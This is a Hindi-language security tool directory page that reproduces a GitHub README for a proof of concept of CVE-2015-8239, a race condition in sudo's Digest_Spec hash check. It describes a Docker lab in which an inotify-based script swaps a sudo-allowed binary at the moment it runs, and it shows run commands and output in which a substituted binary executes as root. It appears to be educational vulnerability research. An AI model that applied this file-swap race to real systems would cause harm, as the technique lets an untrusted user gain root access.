Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
sudo_digest_toctou_poc_CVE-2015-8239 | Kitploit
उपकरण/GitHubGitHub/justinsteven/sudo_digest_toctou_poc_cve-2015-8239
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणलर्निंग और शिक्षालैब और अभ्यास
GitHubjustinsteven/sudo_digest_toctou_poc_cve-2015-8239

sudo_digest_toctou_poc_CVE-2015-8239

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
5 साल पहलेअभी तक समीक्षित नहीं

sudoers Digest_Spec TOCTOU POC

तर्क

Alyssa Milburn (https://twitter.com/noopwafel) ने sudo में Digest_Spec सेटिंग के उपयोग करने पर एक TOCTOU रेस कंडीशन बग की खोज की। Digest_Spec सेटिंग का उपयोग किसी उपयोगकर्ता को किसी बाइनरी को sudo करने की अनुमति देने के लिए किया जा सकता है यदि और केवल यदि उसका हैश एक निर्धारित मान से मेल खाता हो। इस सुविधा के बारे में अधिक जानकारी के लिए man sudoers देखें और Digest_Spec खोजें, तथा इस बग के बारे में अधिक जानकारी के लिए http://noopwafel.net/notes/2015/sudo-digest-race-condition.html देखें जिसे Alyssa ने खोजा था। इस समस्या को CVE-2015-8239 निर्दिष्ट किया गया था।

इस समस्या को man sudoers में रेस कंडीशन की संभावना के बारे में चेतावनी देने वाले दस्तावेज़ीकरण को जोड़कर, और sudo में कुछ fexecve() जादू जोड़कर कम किया गया था ताकि कुछ प्रकार के फ़ाइल संशोधनों को प्रभावी होने से रोका जा सके।

दिलचस्प बात यह है कि cve-assign ने https://seclists.org/oss-sec/2015/q4/256 पर निम्नलिखित कहा:

root@kitploit:~
As far as we know, the Digest_Spec feature can be useful if the user
invoking sudo doesn't have write access to the program file, but a
second (and potentially untrusted) user does have write access to the
program file. In the envisioned scenario, the second user is not
allowed to use sudo, the second user has no way to predict when anyone
else may use sudo, and the second user cannot use their write access
often. Thus, if the second user attempts a file-replacement attack,
the attack will almost certainly occur at an ineffective instant of
time, and the Digest_Spec feature will successfully prevent the
attacker's desired outcome.

यह POC दर्शाता है कि यह कथन आवश्यक रूप से सत्य नहीं है, बशर्ते कि "लेखक" उपयोगकर्ता सिस्टम पर स्थायी कोड निष्पादित कर सके। "लेखक" उपयोगकर्ता यह पता लगाने के लिए inotify का लाभ उठा सकता है कि "निष्पादक" उपयोगकर्ता sudo का उपयोग करके फ़ाइल को निष्पादित कर रहा है और उस समय फ़ाइल प्रतिस्थापन हमले का प्रयास कर सकता है।

के बारे में

यह प्रोजेक्ट एक Docker इमेज बनाता है जो:

  • /opt/sudoable पर एक फ़ाइल है जो editor उपयोगकर्ता द्वारा लिखने योग्य है, और executor उपयोगकर्ता द्वारा sudo करने योग्य है यदि और केवल यदि इसका SHA256 हैश किसी विशेष मान से मेल खाता है
  • /opt/hello पर एक फ़ाइल है (वह "अच्छी" फ़ाइल जिसका SHA256 हैश sudoers में बेक किया गया है) और /opt/goodbye पर एक फ़ाइल है (एक "दुष्ट" फ़ाइल)
  • /opt केवल root उपयोगकर्ता द्वारा लिखने योग्य है (और इस प्रकार editor उपयोगकर्ता /opt/sudoable की सामग्री को बदल सकता है लेकिन फ़ाइल सिस्टम स्तर पर फ़ाइल स्वैप ऑपरेशन नहीं कर सकता)
  • /home/editor/exploit/exploit.py पर एक inotify-आधारित TOCTOU एक्सप्लॉइट

जब /home/editor/exploit/exploit.py को editor उपयोगकर्ता द्वारा निष्पादित किया जाता है, तो फ़ाइलसिस्टम घटनाओं की निगरानी के लिए inotify का उपयोग किया जाता है। जब /opt/sudoable फ़ाइल तक पहुँचा जाता है, तो इसे /opt/goodbye से बदल दिया जाता है। फ़ाइल बंद होने के बाद इसे /opt/hello से बदल दिया जाता है ताकि चीजों को "सामान्य" स्थिति में छोड़ा जा सके।

यह मानते हुए कि यह रेस तब सफल होती है जब executor उपयोगकर्ता sudo /opt/sudoable करता है (जो मेरी मशीन पर अधिकांश समय होता है), editor उपयोगकर्ता executor उपयोगकर्ता को sudoers में Digest_Spec मान के रूप में निर्दिष्ट SHA256 हैश की परवाह किए बिना, root के रूप में एक दुर्भावनापूर्ण बाइनरी निष्पादित करने का कारण बन सकता है।

निर्माण

make all चलाएँ

चलाना

  1. ./instantiate.sh करें
  2. tmux new-session चलाएँ और पेन को विभाजित करें (Ctrl+b फिर "; पेन स्विच करने के लिए Ctrl+b फिर ऊपर/नीचे का उपयोग करें)
  3. ऊपरी पेन में, sudo -u executor sudo /opt/sudoable करें और आउटपुट Hello uid=0 देखें
  4. निचले पेन में, sudo -u editor cp /opt/goodbye /opt/sudoable करें
  5. ऊपरी पेन में, sudo -u executor sudo /opt/sudoable करें और देखें कि आपसे पासवर्ड मांगा गया है (अर्थात डाइजेस्ट बेमेल के कारण sudo ऑपरेशन विफल हुआ)
  6. निचले पेन में, sudo -u editor /home/editor/exploit/exploit.py करें
  7. ऊपरी पेन में, sudo -u executor sudo /opt/sudoable कुछ बार करें और कभी-कभी आउटपुट देखें

उदाहरण आउटपुट

ऊपरी पेन:

root@kitploit:~
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Hello uid=0

निचला पेन:

root@kitploit:~
root@c600efec2da8:/# sudo -u editor cp /opt/goodbye /opt/sudoable

ऊपरी पेन:

root@kitploit:~
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for executor:

निचला पेन:

root@kitploit:~
root@c600efec2da8:/# sudo -u editor /home/editor/exploit/exploit.py

ऊपरी पेन:

root@kitploit:~
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for executor:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
sudo: unable to execute /opt/sudoable: Text file busy

आगे का काम

किन मामलों में fexecve() शमन वास्तव में प्रभावी है? यदि किसी उपयोगकर्ता के पास sudo करने योग्य फ़ाइल पर लिखने की पहुँच है लेकिन उस निर्देशिका पर नहीं जिसमें वह है, तो वे उस फ़ाइल को संशोधित कर सकते हैं जो sudo द्वारा खोली गई है। यदि उपयोगकर्ता के पास निर्देशिका पर लिखने की पहुँच है लेकिन फ़ाइल पर नहीं, तो वे फ़ाइल को हटाकर उसके स्थान पर पुनः बना सकते हैं ताकि वे इसे संशोधित कर सकें, और हम फिर से शुरुआत में आ जाते हैं।

अभिनंदन

Luke (https://twitter.com/lukejahnke) का धन्यवाद जिन्होंने मुझे Digest_Spec सेटिंग के बारे में बताया, कुछ विचारों पर चर्चा की और एक स्वच्छ क्रॉस-यूज़र POC के लिए inotify का उपयोग करने के बारे में सोचा।

टूल डाउनलोड करें
Goodbye uid=0